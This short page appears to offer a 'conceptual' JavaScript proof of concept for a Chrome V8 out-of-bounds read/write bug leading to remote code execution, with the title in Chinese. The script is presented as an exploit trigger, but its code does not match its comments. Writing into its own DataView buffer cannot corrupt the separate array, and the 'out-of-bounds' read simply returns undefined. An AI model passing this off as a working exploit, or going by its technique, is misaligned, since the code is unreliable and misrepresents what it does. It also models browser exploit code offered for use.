CVE-2026-7899 Google Chrome V8越界读写致RCE

// Conceptual Proof of Concept for CVE-2026-7899 // This script demonstrates a potential trigger for the V8 Out-Of-Bounds vulnerability. // Note: Actual exploitation requires precise heap grooming and specific V8 internals knowledge. function trigger_vuln() { // Step 1: Create objects to manipulate memory layout let buffer = new ArrayBuffer(0x100); let view = new DataView(buffer); let arr = [1.1, 2.2, 3.3]; // Array to be corrupted // Step 2: Simulate the condition that causes the bounds check bypass // In a real scenario, this involves specific JIT compilation patterns. // Here we assume 'corrupt_index' allows writing beyond the array bounds. let corrupt_index = 0xdeadbeef; try { // Attempt to write out of bounds // This would corrupt the adjacent memory, potentially the array's length or map view.setUint32(0, corrupt_index, true); // Step 3: Access the corrupted array to read/write arbitrary memory console.log(arr[100]); // Reading OOB memory } catch (e) { console.log("Exploit failed: " + e); } } trigger_vuln();